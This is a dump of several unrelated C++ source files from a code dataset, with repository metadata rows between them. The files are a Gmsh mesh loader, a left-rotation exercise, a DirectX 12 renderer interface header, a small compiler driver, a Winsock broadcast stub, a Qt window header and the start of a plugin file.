ConstEdgeList iedges[2];
ConstTriangleList itriangles[2];
MeshNodeList_t mesh_nodes;
MeshEdgeList_t mesh_edges;
MeshTriangleList_t mesh_triangles;
for (MapToInterfaceInfo_t::const_iterator iit = interfaceMap.begin(); iit != interfaceMap.end(); ++iit)
{
mesh_nodes.clear();
mesh_edges.clear();
mesh_triangles.clear();
const std::string &interfaceName = iit->first;
const GmshInterfaceInfo &iinfo = iit->second;
const std::string ®ionName0 = iinfo.region0;
const std::string ®ionName1 = iinfo.region1;
if (!RegionNameToNodeMap.count(regionName0))
{
std::ostringstream os;
os << "Interface " << interfaceName << " references non-existent region name " << regionName0 << ".\n";
OutputStream::WriteOut(OutputStream::OutputType::ERROR, os.str());
ret = false;
continue;
}
if (!RegionNameToNodeMap.count(regionName1))
{
std::ostringstream os;
os << "Interface " << interfaceName << " references non-existent region name " << regionName1 << ".\n";
OutputStream::WriteOut(OutputStream::OutputType::ERROR, os.str());
ret = false;
continue;
}
const std::vector<NodePtr> &nodeList0 = RegionNameToNodeMap[regionName0];
const std::vector<NodePtr> &nodeList1 = RegionNameToNodeMap[regionName1];
const std::vector<std::string> &pnames = iinfo.physical_names;
GetUniqueNodesFromPhysicalNames(pnames, mesh_nodes);
GetUniqueEdgesFromPhysicalNames(pnames, mesh_edges);
GetUniqueTrianglesFromPhysicalNames(pnames, mesh_triangles);
Region *regionptr[2];
regionptr[0] = dp->GetRegion(regionName0);
regionptr[1] = dp->GetRegion(regionName1);
if (!regionptr[0])
{
std::ostringstream os;
os << "Interface " << interfaceName << " references non-existent region name " << regionName0 << ".\n";
OutputStream::WriteOut(OutputStream::OutputType::ERROR, os.str());
ret = false;
continue;
}
if (!regionptr[1])
{
std::ostringstream os;
os << "Interface " << interfaceName << " references non-existent region name " << regionName1 << ".\n";
OutputStream::WriteOut(OutputStream::OutputType::ERROR, os.str());
ret = false;
continue;
}
Interface *interfaceptr = dp->GetInterface(interfaceName);
if (interfaceptr)
{
std::ostringstream os;
os << "Interface " << interfaceName << " on regions " << regionName0 << " and " << regionName1 << " being instantiated multiple times.\n";
OutputStream::WriteOut(OutputStream::OutputType::ERROR, os.str());
ret = false;
continue;
}
if (dimension == 2 && !mesh_triangles.empty())
{
std::ostringstream os;
os << "Interface " << interfaceName << " on regions " << regionName0 << " and " << regionName1 << " must be 1 dimensional to be interface.\n";
OutputStream::WriteOut(OutputStream::OutputType::ERROR, os.str());
ret = false;
}
else if (dimension == 1 && !mesh_edges.empty())
{
// mesh edges get created during mesh finalize
std::ostringstream os;
os << "Interface " << interfaceName << " on regions " << regionName0 << " and " << regionName1 << " must be 0 dimensional to be interface.\n";
OutputStream::WriteOut(OutputStream::OutputType::ERROR, os.str());
ret = false;
}
for (size_t i = 0; i < 2; ++i)
{
inodes[i].clear();
iedges[i].clear();
itriangles[i].clear();
}
for (MeshNodeList_t::const_iterator tnit = mesh_nodes.begin(); tnit != mesh_nodes.end(); ++tnit)
{
size_t iindex = tnit->Index();
if (iindex > maxCoordinateIndex)
{
std::ostringstream os;
os << "Interface " << interfaceName << " reference coordinate " << iindex << " which does not exist on any region.\n";
OutputStream::WriteOut(OutputStream::OutputType::ERROR, os.str());
ret = false;
continue;
}
ConstNodePtr np[2];
np[0] = nodeList0[iindex];
np[1] = nodeList1[iindex];
if (np[0] && np[1])
{
for(size_t i = 0; i < 2; ++i)
{
inodes[i].push_back(np[i]);
}
}
else
{
std::ostringstream os;
if (!np[0])
{
os << "Interface " << interfaceName << " reference coordinate " << iindex << " not on region " << regionName0 << ".\n";
}
if (!np[1])
{
os << "Interface " << interfaceName << " reference coordinate " << iindex << " not on region " << regionName1 << ".\n";
}
OutputStream::WriteOut(OutputStream::OutputType::ERROR, os.str());
ret = false;
continue;
}
}
if (inodes[0].empty())
{
std::ostringstream os;
os << "Interface " << interfaceName << " does not reference any nodes on regions " << regionName0 << " and " << regionName1 << " .\n";
OutputStream::WriteOut(OutputStream::OutputType::ERROR, os.str());
ret = false;
continue;
}
// All of our contact nodes should exist
ConstNodePtr mesh_edge_nodes[2];
for (MeshEdgeList_t::const_iterator tnit = mesh_edges.begin(); tnit != mesh_edges.end(); ++tnit)
{
ConstEdgePtr tedge[2];
mesh_edge_nodes[0] = nodeList0[tnit->Index0()];
mesh_edge_nodes[1] = nodeList0[tnit->Index1()];
tedge[0] = regionptr[0]->FindEdge(mesh_edge_nodes[0], mesh_edge_nodes[1]);
mesh_edge_nodes[0] = nodeList1[tnit->Index0()];
mesh_edge_nodes[1] = nodeList1[tnit->Index1()];
tedge[1] = regionptr[1]->FindEdge(mesh_edge_nodes[0], mesh_edge_nodes[1]);
if (tedge[0] && tedge[1])
{
for (size_t i = 0; i < 2; ++i)
{
iedges[i].push_back(tedge[i]);
}
}
}
ConstNodePtr mesh_triangle_nodes[3];
for (MeshTriangleList_t::const_iterator tnit = mesh_triangles.begin(); tnit != mesh_triangles.end(); ++tnit)
{
ConstTrianglePtr ttriangle[2];
mesh_triangle_nodes[0] = nodeList0[tnit->Index0()];
mesh_triangle_nodes[1] = nodeList0[tnit->Index1()];
mesh_triangle_nodes[2] = nodeList0[tnit->Index2()];
ttriangle[0] = regionptr[0]->FindTriangle(mesh_triangle_nodes[0], mesh_triangle_nodes[1], mesh_triangle_nodes[2]);
mesh_triangle_nodes[0] = nodeList1[tnit->Index0()];
mesh_triangle_nodes[1] = nodeList1[tnit->Index1()];
mesh_triangle_nodes[2] = nodeList1[tnit->Index2()];
ttriangle[1] = regionptr[1]->FindTriangle(mesh_triangle_nodes[0], mesh_triangle_nodes[1], mesh_triangle_nodes[2]);
if (ttriangle[0] && ttriangle[1])
{
for (size_t i = 0; i < 2; ++i)
{
itriangles[i].push_back(ttriangle[i]);
}
}
}
Interface *iptr = new Interface(interfaceName, regionptr[0], regionptr[1], inodes[0], inodes[1]);
dp->AddInterface(iptr);
iptr->AddTriangles(itriangles[0], itriangles[1]);
iptr->AddEdges(iedges[0], iedges[1]);
std::ostringstream os;
os << "Adding interface " << interfaceName << " with " << inodes[0].size() << ", " << inodes[1].size() << " nodes" << "\n";
OutputStream::WriteOut(OutputStream::OutputType::INFO, os.str());
}
}();
//// Create the device
//// Add the device
//// Add the coordinates
//// Add the regions
//// Add the interfaces
//// Add the contacts
//// finalize device and region
//// create the nodes
//// create the edges
return ret;
}
///// This function should mostly just do error checking
bool GmshLoader::Finalize_(std::string &errorString)
{
bool ret = true;
/// First we need to process the coordinates over the entire device
/// for each element, we must put it into the appropriate region
/// Mesh coordinates are over the entire device
for (size_t i = 0; i < elementList.size(); ++i)
{
const GmshElement &elem = elementList[i];
const size_t physical_number = elem.physical_number;
const size_t dimension = static_cast<size_t>(elem.element_type);
const Shapes::ElementType_t element_type = elem.element_type;
std::string physicalName;
const PhysicalIndexToName_t &physicalIndexNameMap = physicalDimensionIndexNameMap[dimension];
PhysicalIndexToName_t::const_iterator pit = physicalIndexNameMap.find(physical_number);
if (pit != physicalIndexNameMap.end())
{
physicalName = pit->second;
}
else
{
std::ostringstream os;
os << physical_number;
physicalName = os.str();
}
gmshShapesMap[physicalName].AddShape(element_type, elem.node_indexes);
}
for (ShapesMap_t::iterator it = gmshShapesMap.begin(); it != gmshShapesMap.end(); ++it)
{
Shapes &shapes = it->second;
if (shapes.GetNumberOfTypes() != 1)
{
ret = false;
std::ostringstream os;
os << "Physical group name " << it->first << " has multiple element types.\n";
OutputStream::WriteOut(OutputStream::OutputType::ERROR, os.str());
}
else if (shapes.GetDimension() > dimension)
{
dimension = shapes.GetDimension();
}
shapes.DecomposeAndUniquify();
{
std::ostringstream os;
os << "Physical group name " << it->first << " has " << shapes.Tetrahedra.size() << " Tetrahedra.\n";
os << "Physical group name " << it->first << " has " << shapes.Triangles.size() << " Triangles.\n";
os << "Physical group name " << it->first << " has " << shapes.Lines.size() << " Lines.\n";
os << "Physical group name " << it->first << " has " << shapes.Points.size() << " Points.\n";
OutputStream::WriteOut(OutputStream::OutputType::INFO, os.str());
}
}
errorString += "Check log for errors.\n";
if (ret)
{
this->SetFinalized();
}
return ret;
}
bool GmshLoader::HasPhysicalName(const size_t d, const size_t i) const
{
bool ret = false;
const PhysicalIndexToName_t &physicalIndexNameMap = physicalDimensionIndexNameMap[d];
PhysicalIndexToName_t::const_iterator it = physicalIndexNameMap.find(i);
if (it != physicalIndexNameMap.end())
{
ret = !((it->second).empty());
}
return ret;
}
}
|
8625c5070b19bcd9b5cf86513b48b2a0d19b7b57 | c478fe3d4f580660521f471921a87d876fd4dd09 | /crackingTheCodingInterview/leftRotation.cpp | 960534daa3c975ec526d754f2aa12781f0837513 | [] | no_license | paulngouchet/CrackingTheCodingInterviewHackerRank | 8b2202927d70ebfd09bdd06c36d4fbf5fa7a03ec | 0c10926857c7a1a5e1023c6ce19e99dfb3bb9d99 | refs/heads/master | 2021-06-26T15:34:57.600981 | 2020-08-02T15:00:38 | 2020-08-02T15:00:38 | 102,414,312 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,315 | cpp | leftRotation.cpp | #include <map>
#include <set>
#include <list>
#include <cmath>
#include <ctime>
#include <deque>
#include <queue>
#include <stack>
#include <string>
#include <bitset>
#include <cstdio>
#include <limits>
#include <vector>
#include <climits>
#include <cstring>
#include <cstdlib>
#include <fstream>
#include <numeric>
#include <sstream>
#include <iostream>
#include <algorithm>
#include <unordered_map>
using namespace std;
// Left rotations
// 1 2 3 4 5 -> 2 3 4 5 1 -> 3 4 5 1 2 -> 4 5 1 2 3 -> 5 1 2 3 4
vector<int> array_left_rotation(vector<int> a, int n, int k) {
// n is the number of element of the array -> a.size()
// K number of left rotation
vector<int> finalVector = a;
for(int i = 0 ; i < k ; i++)
{
finalVector.push_back(finalVector[0]); //copies the first element at the last position
finalVector.erase(finalVector.begin()); // erases the first element and the code just keeps going until it iterates the number of left rotations rotations
}
return finalVector;
}
int main(){
int n;
int k;
cin >> n >> k;
vector<int> a(n);
for(int a_i = 0;a_i < n;a_i++){
cin >> a[a_i];
}
vector<int> output = array_left_rotation(a, n, k);
for(int i = 0; i < n;i++)
cout << output[i] << " ";
cout << endl;
return 0;
}
|
eff150c0047e8040a91039f0c68f485c7f3c0f41 | acf278fed5ffeb49d9913c543bb8f575bea7f7a3 | /include/engine/x12/icorerender.h | c4c3f547b92a17f15d15f053e58697b92d843d23 | [] | no_license | k-payl/X12Lib | abd80cb13077187299bd0c0bc4ad3d1e1cf8aaf4 | 12e9f86e21e8a991510adc7728f85ccc28ba81eb | refs/heads/master | 2022-05-18T04:46:54.434564 | 2022-04-22T13:18:30 | 2022-04-22T13:18:30 | 229,587,612 | 9 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 13,189 | h | icorerender.h | #pragma once
#include "common.h"
#include "intrusiveptr.h"
namespace x12
{
inline constexpr unsigned MaxResourcesPerShader = 8;
enum class TEXTURE_FORMAT;
enum class TEXTURE_CREATE_FLAGS : uint32_t;
enum class TEXTURE_TYPE;
enum class VERTEX_BUFFER_FORMAT;
enum class VERTEX_BUFFER_FORMAT;
enum class INDEX_BUFFER_FORMAT;
enum class BUFFER_FLAGS;
class IWidowSurface;
class ICoreRenderer;
struct GraphicPipelineState;
struct ComputePipelineState;
struct ICoreVertexBuffer;
struct IResourceSet;
struct ICoreBuffer;
struct ICoreShader;
struct ConstantBuffersDesc;
struct VeretxBufferDesc;
struct IndexBufferDesc;
struct ICoreTexture;
struct ICoreQuery;
extern ICoreRenderer* _coreRender;
FORCEINLINE ICoreRenderer* GetCoreRender() { return _coreRender; }
using surface_ptr = std::shared_ptr<IWidowSurface>;
class ICoreCopyCommandList
{
protected:
enum class State
{
Free,
Opened,
Recordered,
Submited,
} state_{ State::Free };
uint64_t submitedValue{};
int32_t id{ -1 };
public:
ICoreCopyCommandList(int32_t id_) { id = id_; }
uint64_t SubmitedValue() const { return submitedValue; }
bool ReadyForOpening() { return state_ == State::Free || state_ == State::Recordered; }
bool IsSubmited() { return state_ == State::Submited; }
bool Unnamed() { return id == -1; }
int32_t ID() { return id; }
virtual void NotifySubmited(uint64_t submited)
{
assert(state_ == State::Recordered);
state_ = State::Submited;
submitedValue = submited;
}
virtual void NotifyFrameCompleted(uint64_t completed)
{
assert(state_ == State::Submited);
state_ = State::Recordered;
submitedValue = 0;
}
public:
virtual ~ICoreCopyCommandList() = default;
X12_API virtual void FrameEnd() = 0;
X12_API virtual void Free() = 0;
X12_API virtual void CommandsBegin() = 0;
X12_API virtual void CommandsEnd() = 0;
};
class ICoreGraphicCommandList : public ICoreCopyCommandList
{
public:
ICoreGraphicCommandList(int32_t id_) : ICoreCopyCommandList(id_) {}
public:
virtual ~ICoreGraphicCommandList() = default;
X12_API virtual void BindSurface(surface_ptr& surface_) = 0;
X12_API virtual void SetRenderTargets(ICoreTexture** textures, uint32_t count, ICoreTexture* depthStencil) = 0;
X12_API virtual void SetGraphicPipelineState(const GraphicPipelineState& gpso) = 0;
X12_API virtual void SetComputePipelineState(const ComputePipelineState& cpso) = 0;
X12_API virtual void SetVertexBuffer(ICoreVertexBuffer* vb) = 0;
X12_API virtual void SetViewport(unsigned width, unsigned heigth) = 0;
X12_API virtual void GetViewport(unsigned& width, unsigned& heigth) = 0;
X12_API virtual void SetScissor(unsigned x, unsigned y, unsigned width, unsigned heigth) = 0;
X12_API virtual void Draw(const ICoreVertexBuffer* vb, uint32_t vertexCount = 0, uint32_t vertexOffset = 0) = 0;
X12_API virtual void Dispatch(uint32_t x, uint32_t y, uint32_t z = 1) = 0;
X12_API virtual void Clear() = 0;
X12_API virtual void CompileSet(IResourceSet* set_) = 0;
X12_API virtual void BindResourceSet(IResourceSet* set_) = 0;
X12_API virtual void UpdateInlineConstantBuffer(size_t idx, const void* data, size_t size) = 0;
X12_API virtual void EmitUAVBarrier(ICoreBuffer* buffer) = 0;
X12_API virtual void StartQuery(ICoreQuery* query) = 0;
X12_API virtual void StopQuery(ICoreQuery* query) = 0;
X12_API virtual void* GetNativeResource() = 0;
};
class IWidowSurface
{
protected:
unsigned width, height;
public:
virtual ~IWidowSurface() = default;
void GetSubstents(unsigned& w, unsigned& h) { w = width; h = height; }
virtual void Init(HWND hwnd, ICoreRenderer* render) = 0;
virtual void ResizeBuffers(unsigned width_, unsigned height_) = 0;
virtual void Present() = 0;
virtual void* GetNativeResource(int i) = 0;
};
struct CoreRenderStat
{
uint64_t UniformBufferUpdates;
uint64_t StateChanges;
uint64_t Triangles;
uint64_t DrawCalls;
size_t committedMemory{}; // Bytes of memory currently committed/in-flight
size_t totalMemory{}; // Total bytes of memory used by the allocators
size_t totalPages{}; // Total page count
size_t peakCommitedMemory{}; // Peak commited memory value since last reset
size_t peakTotalMemory{}; // Peak total bytes
size_t peakTotalPages{}; // Peak total page count
};
enum class BUFFER_FLAGS
{
NONE = 0,
UNORDERED_ACCESS_VIEW = 1 << 0,
SHADER_RESOURCE_VIEW = 1 << 1,
CONSTANT_BUFFER_VIEW = 1 << 2,
RAW_BUFFER = 1 << 3
};
DEFINE_ENUM_OPERATORS(BUFFER_FLAGS)
enum class MEMORY_TYPE
{
CPU = 1,
GPU_READ,
READBACK,
NUM
};
DEFINE_ENUM_OPERATORS(MEMORY_TYPE)
class ICoreRenderer
{
protected:
uint64_t frame{};
UINT frameIndex{}; // 0, 1, 2
bool Vsync{false};
public:
virtual ~ICoreRenderer() = default;
uint64_t Frame() const { return frame; }
uint64_t FrameIndex() const { return frameIndex; }
X12_API virtual auto Init() -> void = 0;
X12_API virtual auto Free() -> void = 0;
X12_API virtual auto GetGraphicCommandList()->ICoreGraphicCommandList* = 0;
X12_API virtual auto GetGraphicCommandList(int32_t id)->ICoreGraphicCommandList* = 0;
X12_API virtual auto GetCopyCommandContext()->ICoreCopyCommandList* = 0;
// Surfaces
X12_API virtual auto _FetchSurface(HWND hwnd)->surface_ptr = 0;
X12_API virtual auto RecreateBuffers(HWND hwnd, UINT newWidth, UINT newHeight) -> void = 0;
X12_API virtual auto GetWindowSurface(HWND hwnd)->surface_ptr = 0;
X12_API virtual auto PresentSurfaces() -> void = 0;
X12_API virtual auto FrameEnd() -> void = 0;
X12_API virtual auto ExecuteCommandList(ICoreCopyCommandList* cmdList) -> void = 0;
X12_API virtual auto WaitGPU() -> void = 0;
X12_API virtual auto WaitGPUAll() -> void = 0;
X12_API virtual auto GetStat(CoreRenderStat& stat) -> void = 0;
X12_API virtual auto IsVSync() -> bool = 0;
// Resurces
X12_API virtual bool CreateShader(ICoreShader** out, LPCWSTR name, const char* vertText, const char* fragText,
const ConstantBuffersDesc* variabledesc = nullptr, uint32_t varNum = 0) = 0;
X12_API virtual bool CreateComputeShader(ICoreShader** out, LPCWSTR name, const char* text,
const ConstantBuffersDesc* variabledesc = nullptr, uint32_t varNum = 0) = 0;
X12_API virtual bool CreateVertexBuffer(ICoreVertexBuffer** out, LPCWSTR name, const void* vbData, const VeretxBufferDesc* vbDesc,
const void* idxData, const IndexBufferDesc* idxDesc, MEMORY_TYPE mem) = 0;
X12_API virtual bool CreateBuffer(ICoreBuffer** out, LPCWSTR name, size_t size, BUFFER_FLAGS flags, MEMORY_TYPE mem, const void* data = nullptr, size_t num = 1) = 0;
X12_API virtual bool CreateTexture(ICoreTexture** out, LPCWSTR name, const uint8_t* data, size_t size,
int32_t width, int32_t height, uint32_t mipCount, uint32_t layerCount,
TEXTURE_TYPE type, TEXTURE_FORMAT format, TEXTURE_CREATE_FLAGS flags) = 0;
// TODO: remove d3d dependency
X12_API virtual bool CreateTextureFrom(ICoreTexture** out, LPCWSTR name, std::vector<D3D12_SUBRESOURCE_DATA> subresources, ID3D12Resource* d3dexistingtexture) = 0;
X12_API virtual bool CreateTextureFrom(ICoreTexture** out, LPCWSTR name, ID3D12Resource* d3dexistingtexture) = 0;
X12_API virtual bool CreateResourceSet(IResourceSet** out, const ICoreShader* shader) = 0;
X12_API virtual bool CreateQuery(ICoreQuery** out) = 0;
X12_API virtual void* GetNativeDevice() = 0;
X12_API virtual void* GetNativeGraphicQueue() = 0; // Tmp
};
enum class TEXTURE_FORMAT
{
// normalized
R8,
RG8,
RGBA8,
BGRA8,
// float
R16F,
RG16F,
RGBA16F,
R32F,
RG32F,
RGBA32F,
// integer
R32UI,
// compressed
DXT1,
DXT3,
DXT5,
// depth/stencil
D32,
D24S8,
UNKNOWN
};
inline bool IsDepthStencil(TEXTURE_FORMAT format)
{
return format == TEXTURE_FORMAT::D24S8 || format == TEXTURE_FORMAT::D32;
}
inline bool HasStencil(TEXTURE_FORMAT format)
{
return format == TEXTURE_FORMAT::D24S8;
}
enum class TEXTURE_CREATE_FLAGS : uint32_t
{
NONE = 0x00000000,
FILTER = 0x0000000F,
FILTER_POINT = 1, // magn = point, min = point, mip = point
FILTER_BILINEAR = 2, // magn = linear, min = linear, mip = point
FILTER_TRILINEAR = 3, // magn = linear, min = linear, mip = lenear
FILTER_ANISOTROPY_2X = 4,
FILTER_ANISOTROPY_4X = 5,
FILTER_ANISOTROPY_8X = 6,
FILTER_ANISOTROPY_16X = 7,
COORDS = 0x00000F00,
COORDS_WRAP = 1 << 8,
//COORDS_MIRROR
//COORDS_CLAMP
//COORDS_BORDER
USAGE = 0x0000F000,
USAGE_SHADER_RESOURCE = 1 << 11,
USAGE_RENDER_TARGET = 1 << 12,
USAGE_UNORDRED_ACCESS = 1 << 13,
MSAA = 0x000F0000,
MSAA_2x = 2 << 16,
MSAA_4x = 3 << 16,
MSAA_8x = 4 << 16,
MIPMAPS = 0xF0000000,
GENERATE_MIPMAPS = 1 << 28,
MIPMPAPS_PRESENTED = (1 << 28) + 1,
};
DEFINE_ENUM_OPERATORS(TEXTURE_CREATE_FLAGS)
enum class TEXTURE_TYPE
{
TYPE_2D = 0x00000001,
//TYPE_3D = 0x00000001,
TYPE_CUBE = 0x00000002,
TYPE_2D_ARRAY = 0x00000003,
//TYPE_CUBE_ARRAY = 0x00000004
};
enum class VERTEX_BUFFER_FORMAT
{
FLOAT4,
FLOAT3,
FLOAT2,
};
enum class INDEX_BUFFER_FORMAT
{
UNSIGNED_16,
UNSIGNED_32,
};
struct VertexAttributeDesc
{
uint32_t offset;
VERTEX_BUFFER_FORMAT format;
const char* semanticName;
};
struct VeretxBufferDesc
{
uint32_t vertexCount;
int attributesCount;
VertexAttributeDesc* attributes;
};
struct IndexBufferDesc
{
uint32_t vertexCount;
INDEX_BUFFER_FORMAT format;
};
enum class CONSTANT_BUFFER_UPDATE_FRIQUENCY
{
PER_FRAME,
PER_DRAW
};
struct ConstantBuffersDesc
{
const char* name;
CONSTANT_BUFFER_UPDATE_FRIQUENCY mode;
};
struct IResourceUnknown
{
private:
uint16_t id;
mutable int refs{};
static std::vector<IResourceUnknown*> resources;
static void ReleaseResource(int& refs, IResourceUnknown* ptr);
public:
IResourceUnknown(uint16_t id_);
virtual ~IResourceUnknown() = default;
X12_API void AddRef() const { refs++; }
X12_API int GetRefs() { return refs; }
X12_API void Release();
X12_API uint16_t ID() const { return id; }
static void CheckResources();
};
struct ICoreShader : public IResourceUnknown
{
static IdGenerator<uint16_t> idGen;
public:
ICoreShader();
};
struct ICoreVertexBuffer : public IResourceUnknown
{
static IdGenerator<uint16_t> idGen;
public:
ICoreVertexBuffer();
X12_API virtual void SetData(const void* vbData, size_t vbSize, size_t vbOffset, const void* idxData, size_t idxSize, size_t idxOffset) = 0;
};
struct ICoreTexture : public IResourceUnknown
{
static IdGenerator<uint16_t> idGen;
public:
ICoreTexture();
X12_API virtual void* GetNativeResource() = 0;
X12_API virtual void GetData(void* data) = 0;
};
struct ICoreBuffer : public IResourceUnknown
{
static IdGenerator<uint16_t> idGen;
public:
ICoreBuffer();
X12_API virtual void GetData(void* data) = 0;
X12_API virtual void SetData(const void* data, size_t size) = 0;
};
struct IResourceSet : public IResourceUnknown
{
static IdGenerator<uint16_t> idGen;
public:
IResourceSet();
X12_API virtual void BindConstantBuffer(const char* name, ICoreBuffer* buffer) = 0;
X12_API virtual void BindStructuredBufferSRV(const char* name, ICoreBuffer* buffer) = 0;
X12_API virtual void BindStructuredBufferUAV(const char* name, ICoreBuffer* buffer) = 0;
X12_API virtual void BindTextueSRV(const char* name, ICoreTexture* texture) = 0;
X12_API virtual void BindTextueUAV(const char* name, ICoreTexture* texture) = 0;
X12_API virtual size_t FindInlineBufferIndex(const char* name) = 0;
};
struct ICoreQuery : public IResourceUnknown
{
static IdGenerator<uint16_t> idGen;
public:
ICoreQuery();
virtual float GetTime() = 0;
};
enum class PRIMITIVE_TOPOLOGY
{
UNDEFINED,
POINT = 1,
LINE = 2,
TRIANGLE = 3,
PATCH = 4
};
enum class BLEND_FACTOR
{
NONE,
ZERO,
ONE,
SRC_COLOR,
ONE_MINUS_SRC_COLOR,
SRC_ALPHA,
ONE_MINUS_SRC_ALPHA,
DEST_ALPHA,
ONE_MINUS_DEST_ALPHA,
DEST_COLOR,
ONE_MINUS_DEST_COLOR,
NUM
};
struct GraphicPipelineState
{
intrusive_ptr<ICoreShader> shader;
intrusive_ptr<ICoreVertexBuffer> vb;
PRIMITIVE_TOPOLOGY primitiveTopology;
BLEND_FACTOR src;
BLEND_FACTOR dst;
};
struct ComputePipelineState
{
ICoreShader* shader;
};
enum class SHADER_TYPE
{
SHADER_VERTEX,
SHADER_FRAGMENT,
SHADER_COMPUTE,
NUM
};
static UINT formatInBytes(VERTEX_BUFFER_FORMAT format)
{
switch (format)
{
case VERTEX_BUFFER_FORMAT::FLOAT4: return 16;
case VERTEX_BUFFER_FORMAT::FLOAT3: return 12;
case VERTEX_BUFFER_FORMAT::FLOAT2: return 8;
default: assert(0);
}
return 0;
}
static UINT formatInBytes(INDEX_BUFFER_FORMAT format)
{
switch (format)
{
case INDEX_BUFFER_FORMAT::UNSIGNED_16: return 2;
case INDEX_BUFFER_FORMAT::UNSIGNED_32: return 4;
default: assert(0);
}
return 0;
}
psomap_checksum_t CalculateChecksum(const GraphicPipelineState& pso);
psomap_checksum_t CalculateChecksum(const ComputePipelineState& pso);
UINT64 VbSizeFromDesc(const VeretxBufferDesc* vbDesc);
UINT64 getBufferStride(const VeretxBufferDesc* vbDesc);
}
|
1f29cc729ba07aa535f865ac2c650eb566ce6eef | 948b8bea3eeb6633816c71ab3e794a7e452694ae | /Compil/Compiler/Compiler.cpp | e95bb664bb9efa4d5d7204b2ee22fe8401c52feb | [] | no_license | YazZz1k/Language | 0f4e8fdc5c5ebbb5ecf2683ca91e6db8e4c29ea9 | 419e5acec0eed548efc3a25d8a22f9a7bb94f13c | refs/heads/master | 2020-03-08T05:57:11.137070 | 2018-05-02T22:37:41 | 2018-05-02T22:37:41 | 127,959,956 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,023 | cpp | Compiler.cpp | #include"Compiler.hpp"
Compiler::Compiler(ifstream* _input_file, ofstream* _output_file)
{
assert(_input_file);
assert(_output_file);
output_file = _output_file;
input_file = _input_file;
error = true;
}
Compiler::~Compiler()
{
}
bool Compiler::errors()
{
return error;
}
void Compiler::Run_Compiler()
{
Tokenator tokenator(input_file);
Run_Tokenator(tokenator);
if(!tokenator.error)
{
RDP rdp(tokenator.arr_token);
Run_RDP(rdp);
if(!rdp.errors)
{
Pre_Convert pre_conv(rdp.ret_tree);
pre_conv.Run_Pre_Convert();
if(!pre_conv.error)
{
Converter conv(pre_conv.get_Pre_Converted_Tree(), pre_conv.get_labels());
conv.Run_Converter();
vector<int> commands = conv.Get_Commands();
for(int i=0; i<commands.size(); i++)
*output_file<<commands[i]<<endl;
error = false;
}
}
}
}
|
fa31abb0301adae474c9684c73d0b537580bb827 | 19d0e5f887127918e4f55b06f05cbb9de1cd77c6 | /c์ธ์ด/16์ฌ๋ฆ๋ฐฉํ/์์ผ์ค์ต/BroadcateSender/BroadcateSender/BroadcateSender.cpp | 2399cc3a7400ad926e68613893d7ad6251957fa7 | [] | no_license | jung123/programing_practice | be4bcd9abf51a617f2ef2dd51013888b4e76c2fe | ff464b742c195a321c9009b5f0d61cecac61cac5 | refs/heads/master | 2021-04-26T22:27:01.113803 | 2018-03-06T16:33:52 | 2018-03-06T16:33:52 | 89,998,868 | 0 | 0 | null | null | null | null | UHC | C++ | false | false | 869 | cpp | BroadcateSender.cpp | // BroadcateSender.cpp : ์ฝ์ ์์ฉ ํ๋ก๊ทธ๋จ์ ๋ํ ์ง์
์ ์ ์ ์ํฉ๋๋ค.
//
#include "stdafx.h"
#define REMOTEIP "255.255.255.255"
#define REMOTEPORT 9000
#define BUFSIZE 512
void error_quit(TCHAR *msg)
{
LPVOID lpMsgBuf;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
WSAGetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpMsgBuf, 0, NULL);
MessageBox(NULL, (LPCTSTR)lpMsgBuf, msg, MB_ICONERROR);
LocalFree(lpMsgBuf);
exit(1);
}
void error_display(TCHAR *msg)
{
LPVOID lpMsgBuf;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
WSAGetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpMsgBuf, 0, NULL);
MessageBox(NULL, (LPCTSTR)lpMsgBuf, msg, MB_ICONERROR);
LocalFree(lpMsgBuf);
}
int main()
{
return 0;
}
|
6b81c7f9a9476d3c9c42aa9fd6035d80f4c56a20 | 69c83245ca510bcb90f6804c72132f3d14898064 | /Transformation/mainwindow.h | 2a9cd002a498b0557f3e113d0fb81de17a8b27db | [] | no_license | zjjyh96/game-technical-section | 5ac38c9f8273282c9a7efa0eab9d1d23d515f0bf | 760dce5220ed09c35cad32a86804f3086b1cb689 | refs/heads/master | 2021-01-25T11:03:18.793372 | 2017-07-07T20:34:13 | 2017-07-07T20:34:13 | 93,910,457 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,097 | h | mainwindow.h | #ifndef MAINWINDOW_H
#define MAINWINDOW_H
#include "wwindow.h"
#include <QGridLayout>
#include <QVBoxLayout>
#include <QWidget>
#include <QLineEdit>
#include <QLabel>
#include <QPushButton>
#include <QSlider>
class QHBoxLayout;
class QVBoxLayout;
class mainwindow : public QWidget
{
Q_OBJECT
private:
QPixmap pix;
QWidget* menuWindow;
QVBoxLayout* buttoms,* tools,*SpeedS;
QHBoxLayout* speedlayout,* windowlayout;
wwindow* w;
QLineEdit* SpeedLine;
QSlider *Speedslider;
QLabel* SpeedLabel;
QPushButton* Draw1Button,* Draw2Button,* ArrowButton,
* CarButton,* HandButton,* LinearButton,
* VectorButton,* ClearButton,* ShowButton,* HideButton;
public:
mainwindow(QWidget* parent = 0);
public slots:
void SpeedEdit(int value);
private slots:
void Draw1update();
void Draw2update();
void linear();
void vector();
void clear();
void DrawArrow();
void Show();
void Hide();
private:
// Ui::MainWindow *ui;
};
#endif // MAINWINDOW_H
|
f62543e5060a4ca0fda4d335625d7da57c567369 | 118078ff60fa16d7af72381e21490d99dc87ff5f | /Plugins/FlytekVoiceSDK/Source/FlytekVoiceSDK/Private/FlytekVoiceSDK.cpp | aa6d365e54c26812c003c638a3fd3f5c7b54c5e4 | [] | no_license | ii999/VoiceSDK | 6b5bf2853ec7565e302e1049016f2f36cd149f9e | 62b926b010e31f4774d012c42eb406d5a53e45cb | refs/heads/master | 2021-01-13T06:16:51.352701 | 2017-04-18T12:40:42 | 2017-04-18T12:40:42 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 7,193 | cpp | FlytekVoiceSDK.cpp | // Copyright 2016 Gamemakin LLC. All Rights Reserved.
#include "FlytekVoiceSDK.h"
